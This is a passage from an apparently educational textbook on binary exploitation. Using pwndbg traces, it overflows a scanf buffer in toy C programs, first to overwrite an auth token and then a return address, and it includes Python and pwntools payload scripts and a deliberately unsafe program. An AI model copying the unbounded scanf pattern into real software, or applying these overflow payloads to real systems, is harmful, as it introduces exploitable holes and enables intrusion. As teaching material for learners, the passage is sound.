 R12  0x400550 (_start)  xor    ebp, ebp
 R13  0x7fffffffdf80  0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdea0  0x400720 (__libc_csu_init)  push   r15
*RSP  0x7fffffffde50  0x0
*RIP  0x4006c9 (main+80)  call   0x400530
[DISASM]
   0x4006b3 <main+58>    call   puts@plt                      <0x4004f0>
```

```
   0x4006b8 <main+63>    lea    rax, [rbp - 0x50]
   0x4006bc <main+67>    mov    rsi, rax
   0x4006bf <main+70>    mov    edi, 0x400812
   0x4006c4 <main+75>    mov    eax, 0
  0x4006c9 <main+80>    call   __isoc99_scanf@plt            <0x400530>
        format: 0x400812  0x1b01000000007325 /* '%s' */
        vararg: 0x7fffffffde50  0x0

   0x4006ce <main+85>    mov    rax, qword ptr [rbp - 0x10]
   0x4006d2 <main+89>    test   rax, rax
   0x4006d5 <main+92>    jne    main+101                      <0x4006de>

   0x4006d7 <main+94>    call   empty                         <0x400646>

   0x4006dc <main+99>    jmp    main+127                      <0x4006f8>
[STACK]
00:0000 rsi rsp  0x7fffffffde50  0x0
...
[BACKTRACE]
  f 0           4006c9 main+80
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint *main+80
pwndbg> dd 0x7fffffffde50 17
00007fffffffde50     00000000 00000000 00000000 00000000
00007fffffffde60     00000000 00000000 00000000 00000000
00007fffffffde70     00000000 00000000 00000000 00000000
00007fffffffde80     00000000 00000000 00000000 00000000
00007fffffffde90     00000000
pwndbg> ni
0x00000000004006ce in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x1
 RBX  0x0
*RCX  0xa
*RDX  0x7ffff7dd3790 (_IO_stdfile_0_lock)  0x0
*RDI  0x7fffffffd930  0x1
*RSI  0x1
*R8   0x0
*R9   0x7ffff7fce700  0x7ffff7fce700
*R10  0x400812  and    eax, 0x73 /* '%s' */
 R11  0x246
 R12  0x400550 (_start)  xor    ebp, ebp
 R13  0x7fffffffdf80  0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdea0  0x400720 (__libc_csu_init)  push   r15
 RSP  0x7fffffffde50  0x4141414141414141 ('AAAAAAAA')
*RIP  0x4006ce (main+85)  mov    rax, qword ptr [rbp - 0x10]
[DISASM]
   0x4006b8 <main+63>     lea    rax, [rbp - 0x50]
   0x4006bc <main+67>     mov    rsi, rax
```

```
   0x4006bf <main+70>     mov    edi, 0x400812
   0x4006c4 <main+75>     mov    eax, 0
   0x4006c9 <main+80>     call   __isoc99_scanf@plt            <0x400530>

  0x4006ce <main+85>     mov    rax, qword ptr [rbp - 0x10]
   0x4006d2 <main+89>     test   rax, rax
   0x4006d5 <main+92>     jne    main+101                      <0x4006de>

   0x4006de <main+101>    mov    rdx, qword ptr [rbp - 0x10]
   0x4006e2 <main+105>    mov    eax, 0xdeadbeef
   0x4006e7 <main+110>    cmp    rdx, rax
[STACK]
00:0000 rsp  0x7fffffffde50  0x4141414141414141 ('AAAAAAAA')
...
[BACKTRACE]
  f 0           4006ce main+85
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> dd 0x7fffffffde50 17
00007fffffffde50     41414141 41414141 41414141 41414141
00007fffffffde60     41414141 41414141 41414141 41414141
00007fffffffde70     41414141 41414141 41414141 41414141
00007fffffffde80     41414141 41414141 41414141 41414141
00007fffffffde90     00000041
pwndbg>
```

The `auth` structure is 68 bytes in size. The first 64 bytes are for `buf`, and the following 4 bytes are for `token`. `dd &auth 17` displays the entire structure. Notice how before the call to `scanf()` the auth structure is filled with zeros. After the call, the first 65 bytes are filled with `0x41`, the ascii value for 'A'. In reality, `scanf()` also wrote a null byte after the string of 'A's, but we can't see it here since `token` is already zero. You'll also notice that the final `0x41` byte was written to the *last* byte of `token`. This is due to the little-endian byte order used by x86-64 processors, where the first byte in memory is interpreted as the last byte in a machine word. If you view the memory as bytes rather than words, you'll see the bytes written sequentially.

```
pwndbg> db 0x7fffffffde50 68
00007fffffffde50     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00007fffffffde60     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00007fffffffde70     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00007fffffffde80     41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
00007fffffffde90     41 00 00 00
pwndbg>
```

According to the output above, `a.token` is located at `0x7fffffffde90`, and it currently has the value `0x41`. If we use `gdb` to write `0xdeadbeef` to `0x7fffffffde90`, the program will call `win()` instead for this run only.

```
pwndbg> set {int}0x7fffffffde90 = 0xdeadbeef
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x1
 RBX  0x0
*RCX  0xa
*RDX  0x7ffff7dd3790 (_IO_stdfile_0_lock)  0x0
```

```
*RDI  0x7fffffffd930  0x1
*RSI  0x1
*R8   0x0
*R9   0x7ffff7fce700  0x7ffff7fce700
*R10  0x400812  and    eax, 0x73 /* '%s' */
 R11  0x246
 R12  0x400550 (_start)  xor    ebp, ebp
 R13  0x7fffffffdf80  0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdea0  0x400720 (__libc_csu_init)  push   r15
 RSP  0x7fffffffde50  0x4141414141414141 ('AAAAAAAA')
*RIP  0x4006ce (main+85)  mov    rax, qword ptr [rbp - 0x10]
[DISASM]
   0x4006b8 <main+63>     lea    rax, [rbp - 0x50]
   0x4006bc <main+67>     mov    rsi, rax
   0x4006bf <main+70>     mov    edi, 0x400812
   0x4006c4 <main+75>     mov    eax, 0
   0x4006c9 <main+80>     call   __isoc99_scanf@plt            <0x400530>

  0x4006ce <main+85>     mov    rax, qword ptr [rbp - 0x10]
   0x4006d2 <main+89>     test   rax, rax
   0x4006d5 <main+92>     jne    main+101                      <0x4006de>

   0x4006de <main+101>    mov    rdx, qword ptr [rbp - 0x10]
   0x4006e2 <main+105>    mov    eax, 0xdeadbeef
   0x4006e7 <main+110>    cmp    rdx, rax
[STACK]
00:0000 rsp  0x7fffffffde50  0x4141414141414141 ('AAAAAAAA')
...
[BACKTRACE]
  f 0           4006ce main+85
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> c
Continuing.
Access granted.
[Inferior 1 (process 28084) exited normally]
pwndbg>
```

We managed to call `win()`, but doing it with a debugger is much less satisfying than doing it without one. After all, we could have simply written the address of `win()` to `rip` as soon as the program started. The real benefit of modifyng `a.token` is to verify that *if* we can write `0xdeadbeef` to `a.token`, then we can call `win()`. Let's try doing that next, keeping the little-endian architecture in mind.

```
pwndbg> r < <(python -c "print 'A' * 64 + '\xef\xbe\xad\xde'")
Starting program: /home/devneal/Security/REFE/textbook/example_code/
    memory_corruption < <(python -c "print 'A' * 64 + '\xef\xbe\xad\xde'")

Breakpoint 1, 0x000000000040067d in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x400679 (main)  push   rbp
```

```
 RBX  0x0
*RCX  0x0
*RDX  0x7fffffffdf98  0x7fffffffe2e1  'XDG_VTNR=7'
*RDI  0x1
*RSI  0x7fffffffdf88  0x7fffffffe29d  0x65642f656d6f682f ('/home/de')
*R8   0x400790 (__libc_csu_fini)  ret
*R9   0x7ffff7de7ab0 (_dl_fini)  push   rbp
*R10  0x846
*R11  0x7ffff7a2d740 (__libc_start_main)  push   r14
 R12  0x400550 (_start)  xor    ebp, ebp
 R13  0x7fffffffdf80  0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdea0  0x400720 (__libc_csu_init)  push   r15
*RSP  0x7fffffffdea0  0x400720 (__libc_csu_init)  push   r15
*RIP  0x40067d (main+4)  sub    rsp, 0x50
[DISASM]
   0x400679 <main>       push   rbp
   0x40067a <main+1>     mov    rbp, rsp
  0x40067d <main+4>     sub    rsp, 0x50
   0x400681 <main+8>     mov    rax, qword ptr fs:[0x28]
   0x40068a <main+17>    mov    qword ptr [rbp - 8], rax
   0x40068e <main+21>    xor    eax, eax
   0x400690 <main+23>    lea    rax, [rbp - 0x50]
   0x400694 <main+27>    mov    edx, 0x40
   0x400699 <main+32>    mov    esi, 0
   0x40069e <main+37>    mov    rdi, rax
   0x4006a1 <main+40>    call   memset@plt                   <0x400510>
[STACK]
00:0000 rbp rsp  0x7fffffffdea0  0x400720 (__libc_csu_init)  push   r15
01:0008          0x7fffffffdea8  0x7ffff7a2d830 (__libc_start_main+240)  mov
    edi, eax
02:0010          0x7fffffffdeb0  0x0
03:0018          0x7fffffffdeb8  0x7fffffffdf88  0x7fffffffe29d  0
    x65642f656d6f682f ('/home/de')
04:0020          0x7fffffffdec0  0x1f7ffcca0
05:0028          0x7fffffffdec8  0x400679 (main)  push   rbp
06:0030          0x7fffffffded0  0x0
07:0038          0x7fffffffded8  0xe63b86020bb7205
[BACKTRACE]
  f 0           40067d main+4
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint main
pwndbg> c
Continuing.
Enter the password:

Breakpoint 2, 0x00000000004006c9 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x0
 RBX  0x0
```

```
*RCX  0x7ffff7b04290 (__write_nocancel+7)  cmp    rax, -0xfff
*RDX  0x7ffff7dd3780 (_IO_stdfile_1_lock)  0x0
*RDI  0x400812  and    eax, 0x73 /* '%s' */
*RSI  0x7fffffffde50  0x0
*R8   0x602000  0x0
*R9   0xd
*R10  0x7ffff7dd1b78 (main_arena+88)  0x602410  0x0
*R11  0x246
 R12  0x400550 (_start)  xor    ebp, ebp
 R13  0x7fffffffdf80  0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdea0  0x400720 (__libc_csu_init)  push   r15
*RSP  0x7fffffffde50  0x0
*RIP  0x4006c9 (main+80)  call   0x400530
[DISASM]
   0x4006b3 <main+58>    call   puts@plt                      <0x4004f0>

   0x4006b8 <main+63>    lea    rax, [rbp - 0x50]
   0x4006bc <main+67>    mov    rsi, rax
   0x4006bf <main+70>    mov    edi, 0x400812
   0x4006c4 <main+75>    mov    eax, 0
  0x4006c9 <main+80>    call   __isoc99_scanf@plt            <0x400530>
        format: 0x400812  0x1b01000000007325 /* '%s' */
        vararg: 0x7fffffffde50  0x0

   0x4006ce <main+85>    mov    rax, qword ptr [rbp - 0x10]
   0x4006d2 <main+89>    test   rax, rax
   0x4006d5 <main+92>    jne    main+101                      <0x4006de>

   0x4006d7 <main+94>    call   empty                         <0x400646>

   0x4006dc <main+99>    jmp    main+127                      <0x4006f8>
[STACK]
00:0000 rsi rsp  0x7fffffffde50  0x0
...
[BACKTRACE]
  f 0           4006c9 main+80
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint *main+80
pwndbg> dd 0x7fffffffde50 17
00007fffffffde50     00000000 00000000 00000000 00000000
00007fffffffde60     00000000 00000000 00000000 00000000
00007fffffffde70     00000000 00000000 00000000 00000000
00007fffffffde80     00000000 00000000 00000000 00000000
00007fffffffde90     00000000
pwndbg> ni
0x00000000004006ce in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x1
 RBX  0x0
```

```
*RCX  0xa
*RDX  0x7ffff7dd3790 (_IO_stdfile_0_lock)  0x0
*RDI  0x7fffffffd930  0x1
*RSI  0x1
*R8   0x0
*R9   0x7ffff7fce700  0x7ffff7fce700
*R10  0x400812  and    eax, 0x73 /* '%s' */
 R11  0x246
 R12  0x400550 (_start)  xor    ebp, ebp
 R13  0x7fffffffdf80  0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdea0  0x400720 (__libc_csu_init)  push   r15
 RSP  0x7fffffffde50  0x4141414141414141 ('AAAAAAAA')
*RIP  0x4006ce (main+85)  mov    rax, qword ptr [rbp - 0x10]
[DISASM]
   0x4006b8 <main+63>     lea    rax, [rbp - 0x50]
   0x4006bc <main+67>     mov    rsi, rax
   0x4006bf <main+70>     mov    edi, 0x400812
   0x4006c4 <main+75>     mov    eax, 0
   0x4006c9 <main+80>     call   __isoc99_scanf@plt            <0x400530>

  0x4006ce <main+85>     mov    rax, qword ptr [rbp - 0x10]
   0x4006d2 <main+89>     test   rax, rax
   0x4006d5 <main+92>     jne    main+101                      <0x4006de>

   0x4006de <main+101>    mov    rdx, qword ptr [rbp - 0x10]
   0x4006e2 <main+105>    mov    eax, 0xdeadbeef
   0x4006e7 <main+110>    cmp    rdx, rax
[STACK]
00:0000 rsp  0x7fffffffde50  0x4141414141414141 ('AAAAAAAA')
...
[BACKTRACE]
  f 0           4006ce main+85
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> dd 0x7fffffffde50 17
00007fffffffde50     41414141 41414141 41414141 41414141
00007fffffffde60     41414141 41414141 41414141 41414141
00007fffffffde70     41414141 41414141 41414141 41414141
00007fffffffde80     41414141 41414141 41414141 41414141
00007fffffffde90     deadbeef
pwndbg> c
Continuing.
Access granted.
[Inferior 1 (process 22848) exited normally]
pwndbg>
```

When we follow the 'A' characters with `0xef 0xbe 0xad 0xde`, `scanf()` writes `0xdeadbeef` to `a.token`, which causes the program to call `win()`! Let's verify that it works without the debugger as well.

```
> python -c "print 'A' * 64 + '\xef\xbe\xad\xde'" | ./memory_corruption
Enter the password:
```

```
Access granted.
>
```

An implementation of this solution in `pwntools` is below.

```
#!/usr/bin/python
from pwn import *

p = process("./memory_corruption")
p.sendline("A" * 64 + p32(0xdeadbeef))
print p.recv()
```

And the output when it is run:

```
> ./memory_corruption_solution.py
[+] Starting local process './memory_corruption': pid 1531
[*] Process './memory_corruption' stopped with exit code 0 (pid 1531)
Enter the password:
Access granted.

>
```

This strategy is severely limited by the fact that it relies on the buffer being allocated to a lower address than the token. However, we can still exploit the unsafe call to `scanf()` without relying on this. Recall that whenever a function (including `main()`) is called, the calling function stores a return address is stored on the stack as part of the calling convention. After the callee finishes executing, control resumes from the instruction located at the return address. Therefore, if we can leverage the unsafe call to `scanf()` to overwrite the return address with the location of `win()`, we can call it regardless of the order of the local variables. We'll try this technique on the program below.

```
#include <stdio.h>
#include <string.h>

void empty(void) {
    printf("You don't have permission to perform this action.\n");
}

void win(void) {
    printf("Access granted.\n");
}

void lose(void) {
    printf("Invalid auth token.\n");
}

typedef struct auth {
    long int token;
    char buf[64];
} auth;

int main(void) {
    auth a;
    memset(a.buf, 0, 64);
```

```
    a.token = 0;

    printf("Enter the password:\n");
    scanf("%s", a.buf);

    if (a.token == 0) {
        empty();
    } else if (a.token == 0xdeadbeef) {
        win();
    } else {
        lose();
    }
}
```

This program is very similar to the previous one, the only differenct being that the `token` and `buf` variables have been switched in the `auth` structure. This program also needs to be compiled with the `-fno-stack-protector`, for a reason we'll get to later. You'll notice that this program crashes if given too much input, but it takes a bit more to crash it than you may expect.

```
> python -c "print 'A' * 65" | ./ret_overwrite
Enter the password:
You don't have permission to perform this action.
> python -c "print 'A' * 70" | ./ret_overwrite
Enter the password:
You don't have permission to perform this action.
> python -c "print 'A' * 75" | ./ret_overwrite
Enter the password:
You don't have permission to perform this action.
> python -c "print 'A' * 80" | ./ret_overwrite
Enter the password:
You don't have permission to perform this action.
Segmentation fault
> python -c "print 'A' * 79" | ./ret_overwrite
Enter the password:
You don't have permission to perform this action.
>
```

Let's analyze this further in `pwndbg`.

```
> gdb -q ./ret_overwrite
Loaded 112 commands. Type pwndbg [filter] for a list.
Reading symbols from ./ret_overwrite...(no debugging symbols found)...done.
pwndbg> b main
Breakpoint 1 at 0x40060d
pwndbg> r < <(python -c "print 'A' * 80")
Starting program: /home/devneal/Security/REFE/textbook/example_code/
    ret_overwrite < <(python -c "print 'A' * 80")

Breakpoint 1, 0x000000000040060d in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x400609 (main)  push   rbp
 RBX  0x0
 RCX  0x0
```

```
*RDX  0x7fffffffdfa8  0x7fffffffe2e5  'XDG_VTNR=7'
*RDI  0x1
*RSI  0x7fffffffdf98  0x7fffffffe2a5  0x65642f656d6f682f ('/home/de')
*R8   0x400700 (__libc_csu_fini)  ret
*R9   0x7ffff7de7ab0 (_dl_fini)  push   rbp
*R10  0x846
*R11  0x7ffff7a2d740 (__libc_start_main)  push   r14
*R12  0x4004e0 (_start)  xor    ebp, ebp
*R13  0x7fffffffdf90  0x1
 R14  0x0
 R15  0x0
*RBP  0x7fffffffdeb0  0x400690 (__libc_csu_init)  push   r15
*RSP  0x7fffffffdeb0  0x400690 (__libc_csu_init)  push   r15
*RIP  0x40060d (main+4)  sub    rsp, 0x50
[DISASM]
  0x40060d <main+4>     sub    rsp, 0x50
   0x400611 <main+8>     lea    rax, [rbp - 0x50]
   0x400615 <main+12>    add    rax, 8
   0x400619 <main+16>    mov    edx, 0x40
   0x40061e <main+21>    mov    esi, 0
   0x400623 <main+26>    mov    rdi, rax
   0x400626 <main+29>    call   memset@plt                    <0x4004a0>

   0x40062b <main+34>    mov    qword ptr [rbp - 0x50], 0
   0x400633 <main+42>    mov    edi, 0x40076e
   0x400638 <main+47>    call   puts@plt                      <0x400490>

   0x40063d <main+52>    lea    rax, [rbp - 0x50]
[STACK]
00:0000 rbp rsp  0x7fffffffdeb0  0x400690 (__libc_csu_init)  push   r15
01:0008          0x7fffffffdeb8  0x7ffff7a2d830 (__libc_start_main+240)  mov
    edi, eax
02:0010          0x7fffffffdec0  0x0
03:0018          0x7fffffffdec8  0x7fffffffdf98  0x7fffffffe2a5  0
    x65642f656d6f682f ('/home/de')
04:0020          0x7fffffffded0  0x100000000
05:0028          0x7fffffffded8  0x400609 (main)  push   rbp
06:0030          0x7fffffffdee0  0x0
07:0038          0x7fffffffdee8  0x1c722a2450ebd61f
[BACKTRACE]
  f 0           40060d main+4
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint main
pwndbg> pdisass main 12
  0x400609 <main>        push   rbp
   0x40060a <main+1>      mov    rbp, rsp
   0x40060d <main+4>      sub    rsp, 0x50
   0x400611 <main+8>      lea    rax, [rbp - 0x50]
   0x400615 <main+12>     add    rax, 8
   0x400619 <main+16>     mov    edx, 0x40
   0x40061e <main+21>     mov    esi, 0
   0x400623 <main+26>     mov    rdi, rax
```

```
   0x400626 <main+29>     call   memset@plt                      <0x4004a0>

   0x40062b <main+34>     mov    qword ptr [rbp - 0x50], 0
   0x400633 <main+42>     mov    edi, 0x40076e
   0x400638 <main+47>     call   puts@plt                        <0x400490>

   0x40063d <main+52>     lea    rax, [rbp - 0x50]
   0x400641 <main+56>     add    rax, 8
   0x400645 <main+60>     mov    rsi, rax
   0x400648 <main+63>     mov    edi, 0x400782
   0x40064d <main+68>     mov    eax, 0
   0x400652 <main+73>     call   __isoc99_scanf@plt              <0x4004c0>

   0x400657 <main+78>     mov    rax, qword ptr [rbp - 0x50]
   0x40065b <main+82>     test   rax, rax
   0x40065e <main+85>     jne    main+94                         <0x400667>

   0x400660 <main+87>     call   empty                           <0x4005d6>

   0x400665 <main+92>     jmp    main+120                        <0x400681>

   0x400681 <main+120>    mov    eax, 0
   0x400686 <main+125>    leave
pwndbg> b *main+73
Breakpoint 2 at 0x400652
pwndbg> c
Continuing.
Enter the password:

Breakpoint 2, 0x0000000000400652 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x0
 RBX  0x0
*RCX  0x7ffff7b04290 (__write_nocancel+7)  cmp    rax, -0xfff
*RDX  0x7ffff7dd3780 (_IO_stdfile_1_lock)  0x0
*RDI  0x400782  and    eax, 0x73 /* '%s' */
*RSI  0x7fffffffde68  0x0
*R8   0x602000  0x0
*R9   0xd
*R10  0x7ffff7dd1b78 (main_arena+88)  0x602410  0x0
*R11  0x246
 R12  0x4004e0 (_start)  xor    ebp, ebp
 R13  0x7fffffffdf90  0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdeb0  0x400690 (__libc_csu_init)  push   r15
*RSP  0x7fffffffde60  0x0
*RIP  0x400652 (main+73)  call   0x4004c0
[DISASM]
   0x40063d <main+52>    lea    rax, [rbp - 0x50]
   0x400641 <main+56>    add    rax, 8
```

```
   0x400645 <main+60>    mov    rsi, rax
   0x400648 <main+63>    mov    edi, 0x400782
   0x40064d <main+68>    mov    eax, 0
  0x400652 <main+73>    call   __isoc99_scanf@plt            <0x4004c0>
        format: 0x400782  0x1b01000000007325 /* '%s' */
        vararg: 0x7fffffffde68  0x0

   0x400657 <main+78>    mov    rax, qword ptr [rbp - 0x50]
   0x40065b <main+82>    test   rax, rax
   0x40065e <main+85>    jne    main+94                       <0x400667>

   0x400660 <main+87>    call   empty                         <0x4005d6>

   0x400665 <main+92>    jmp    main+120                      <0x400681>
[STACK]
00:0000 rsp  0x7fffffffde60  0x0
...
[BACKTRACE]
  f 0           400652 main+73
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint *main+73
pwndbg> dq 0x7fffffffde68 12
00007fffffffde68     0000000000000000 0000000000000000
00007fffffffde78     0000000000000000 0000000000000000
00007fffffffde88     0000000000000000 0000000000000000
00007fffffffde98     0000000000000000 0000000000000000
00007fffffffdea8     0000000000000000 0000000000400690
00007fffffffdeb8     00007ffff7a2d830 0000000000000000
pwndbg> retaddr
0x7fffffffdeb8  0x7ffff7a2d830 (__libc_start_main+240)  mov    edi, eax
0x7fffffffdf78  0x400509 (_start+41)  hlt
pwndbg> ni
0x0000000000400657 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x1
 RBX  0x0
*RCX  0xa
*RDX  0x7ffff7dd3790 (_IO_stdfile_0_lock)  0x0
*RDI  0x7fffffffd940  0x1
*RSI  0x1
*R8   0x0
*R9   0x7ffff7fce700  0x7ffff7fce700
*R10  0x400782  and    eax, 0x73 /* '%s' */
 R11  0x246
 R12  0x4004e0 (_start)  xor    ebp, ebp
 R13  0x7fffffffdf90  0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdeb0  'AAAAAAAA'
 RSP  0x7fffffffde60  0x0
*RIP  0x400657 (main+78)  mov    rax, qword ptr [rbp - 0x50]
```

```
[DISASM]
   0x400641 <main+56>     add    rax, 8
   0x400645 <main+60>     mov    rsi, rax
   0x400648 <main+63>     mov    edi, 0x400782
   0x40064d <main+68>     mov    eax, 0
   0x400652 <main+73>     call   __isoc99_scanf@plt            <0x4004c0>

  0x400657 <main+78>     mov    rax, qword ptr [rbp - 0x50]
   0x40065b <main+82>     test   rax, rax
   0x40065e <main+85>     jne    main+94                       <0x400667>

   0x400660 <main+87>     call   empty                         <0x4005d6>

   0x400665 <main+92>     jmp    main+120                      <0x400681>

   0x400681 <main+120>    mov    eax, 0
[STACK]
00:0000 rsp  0x7fffffffde60  0x0
01:0008      0x7fffffffde68  0x4141414141414141 ('AAAAAAAA')
...
[BACKTRACE]
  f 0           400657 main+78
   f 1     7ffff7a2d800 __libc_start_main+192
pwndbg> dq 0x7fffffffde68 12
00007fffffffde68     4141414141414141 4141414141414141
00007fffffffde78     4141414141414141 4141414141414141
00007fffffffde88     4141414141414141 4141414141414141
00007fffffffde98     4141414141414141 4141414141414141
00007fffffffdea8     4141414141414141 4141414141414141
00007fffffffdeb8     00007ffff7a2d800 0000000000000000
pwndbg> c
Continuing.
You don't have permission to perform this action.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7a2d800 in __libc_start_main (main=0x400609 <main>, argc=1, argv=0
    x7fffffffdf98, init=<optimized out>, fini=<optimized out>, rtld_fini=<
    optimized out>, stack_end=0x7fffffffdf88) at ../csu/libc-start.c:285
285     ../csu/libc-start.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x0
 RBX  0x0
*RCX  0x7ffff7b04290 (__write_nocancel+7)  cmp    rax, -0xfff
*RDX  0x7ffff7dd3780 (_IO_stdfile_1_lock)  0x0
*RDI  0x1
*RSI  0x602010  0x276e6f6420756f59 ("You don'")
*R8   0x2e6e6f6974636120 (' action.')
*R9   0x6f697373696d7265 ('ermissio')
*R10  0x726570206f74206e ('n to per')
 R11  0x246
 R12  0x4004e0 (_start)  xor    ebp, ebp
```

```
 R13  0x7fffffffdf90  0x1
 R14  0x0
 R15  0x0
*RBP  0x4141414141414141 ('AAAAAAAA')
*RSP  0x7fffffffdec0  0x0
*RIP  0x7ffff7a2d800 (__libc_start_main+192)  add    al, byte ptr [rax]
[DISASM]
  0x7ffff7a2d800 <__libc_start_main+192>    add    al, byte ptr [rax]
   0x7ffff7a2d802 <__libc_start_main+194>    add    byte ptr [rax - 0x77], cl
   0x7ffff7a2d805 <__libc_start_main+197>    and    al, 0x70
   0x7ffff7a2d808 <__libc_start_main+200>    lea    rax, [rsp + 0x20]
   0x7ffff7a2d80d <__libc_start_main+205>    mov    qword ptr fs:[0x300], rax
   0x7ffff7a2d816 <__libc_start_main+214>    mov    rax, qword ptr [rip + 0
       x3a369b]
   0x7ffff7a2d81d <__libc_start_main+221>    mov    rsi, qword ptr [rsp + 8]
   0x7ffff7a2d822 <__libc_start_main+226>    mov    edi, dword ptr [rsp + 0x14]
   0x7ffff7a2d826 <__libc_start_main+230>    mov    rdx, qword ptr [rax]
   0x7ffff7a2d829 <__libc_start_main+233>    mov    rax, qword ptr [rsp + 0x18]
   0x7ffff7a2d82e <__libc_start_main+238>    call   rax
[SOURCE]
280     in ../csu/libc-start.c
[STACK]
00:0000 rsp  0x7fffffffdec0  0x0
01:0008      0x7fffffffdec8  0x7fffffffdf98  0x7fffffffe2a5  0x65642f656d6f682f
    ('/home/de')
02:0010      0x7fffffffded0  0x100000000
03:0018      0x7fffffffded8  0x400609 (main)  push   rbp
04:0020      0x7fffffffdee0  0x0
05:0028      0x7fffffffdee8  0xa0fdaab34f8959c
06:0030      0x7fffffffdef0  0x4004e0 (_start)  xor    ebp, ebp
07:0038      0x7fffffffdef8  0x7fffffffdf90  0x1
[BACKTRACE]
  f 0     7ffff7a2d800 __libc_start_main+192
Program received signal SIGSEGV (fault address 0x0)
pwndbg>
```

We can tell that the buffer is located at `0x7fffffffde68` by looking at the second argument to `scanf()`. When we look at this memory, there appears to be space for the 64 bytes of the buffer, an additional 8 bytes of padding added by the compiler, the saved base pointer, then the return address. We can verify this the `retaddr` command provided by `pwntools`, which prints all stack addresses that contain return addresses. After `scanf()` executes, the buffer, padding, and base pointer are all filled with `0x41` bytes, and a null terminator is written into the last byte of the return address. This explains why we needed 80 bytes to cause the program to crash.

But our goal isn't to crash the program, it's to execute `win()`! So next we'll try overwriting the retturn address with `win()`'s address. First we need to know what that address is. There are a number of ways to do this, such as `readelf`, `nm`, or even with `gdb`.

```
> readelf --symbols ret_overwrite | grep win
    62: 00000000004005e7    17 FUNC    GLOBAL DEFAULT   14 win
> nm ret_overwrite | grep win
00000000004005e7 T win
> gdb -q ./ret_overwrite
Loaded 112 commands. Type pwndbg [filter] for a list.
```

```
Reading symbols from ./ret_overwrite...(no debugging symbols found)...done.
pwndbg> print win
\$1 = {<text variable, no debug info>} 0x4005e7 <win>
pwndbg>
```

So we want to overwrite the return address with `0x4005e7`. Let's try it.

```
pwndbg> r < <(python -c "print 'A' * 80 + '\xe7\x05\x40\x00\x00\x00\x00\x00'")
Starting program: /home/devneal/Security/REFE/textbook/example_code/
    ret_overwrite < <(python -c "print 'A' * 80 + '\xe7\x05\x40\x00\x00\x00\x00\
    x00'")

Breakpoint 1, 0x000000000040060d in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x400609 (main)  push   rbp
 RBX  0x0
*RCX  0x0
*RDX  0x7fffffffdfa8  0x7fffffffe2e5  'XDG_VTNR=7'
 RDI  0x1
*RSI  0x7fffffffdf98  0x7fffffffe2a5  0x65642f656d6f682f ('/home/de')
*R8   0x400700 (__libc_csu_fini)  ret
*R9   0x7ffff7de7ab0 (_dl_fini)  push   rbp
*R10  0x846
*R11  0x7ffff7a2d740 (__libc_start_main)  push   r14
 R12  0x4004e0 (_start)  xor    ebp, ebp
 R13  0x7fffffffdf90  0x1
 R14  0x0
 R15  0x0
*RBP  0x7fffffffdeb0  0x400690 (__libc_csu_init)  push   r15
*RSP  0x7fffffffdeb0  0x400690 (__libc_csu_init)  push   r15
*RIP  0x40060d (main+4)  sub    rsp, 0x50
[DISASM]
   0x400609 <main>       push   rbp
   0x40060a <main+1>     mov    rbp, rsp
  0x40060d <main+4>     sub    rsp, 0x50
   0x400611 <main+8>     lea    rax, [rbp - 0x50]
   0x400615 <main+12>    add    rax, 8
   0x400619 <main+16>    mov    edx, 0x40
   0x40061e <main+21>    mov    esi, 0
   0x400623 <main+26>    mov    rdi, rax
   0x400626 <main+29>    call   memset@plt                   <0x4004a0>

   0x40062b <main+34>    mov    qword ptr [rbp - 0x50], 0
   0x400633 <main+42>    mov    edi, 0x40076e
[STACK]
00:0000 rbp rsp  0x7fffffffdeb0  0x400690 (__libc_csu_init)  push   r15
01:0008          0x7fffffffdeb8  0x7ffff7a2d830 (__libc_start_main+240)  mov
    edi, eax
02:0010          0x7fffffffdec0  0x0
03:0018          0x7fffffffdec8  0x7fffffffdf98  0x7fffffffe2a5  0
    x65642f656d6f682f ('/home/de')
04:0020          0x7fffffffded0  0x100000000
```

```
05:0028          0x7fffffffded8  0x400609 (main)  push   rbp
06:0030          0x7fffffffdee0  0x0
07:0038          0x7fffffffdee8  0x7c6654f0a1383abe
[BACKTRACE]
  f 0           40060d main+4
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint main
pwndbg> c
Continuing.
Enter the password:

Breakpoint 2, 0x0000000000400652 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[REGISTERS]
*RAX  0x0
 RBX  0x0
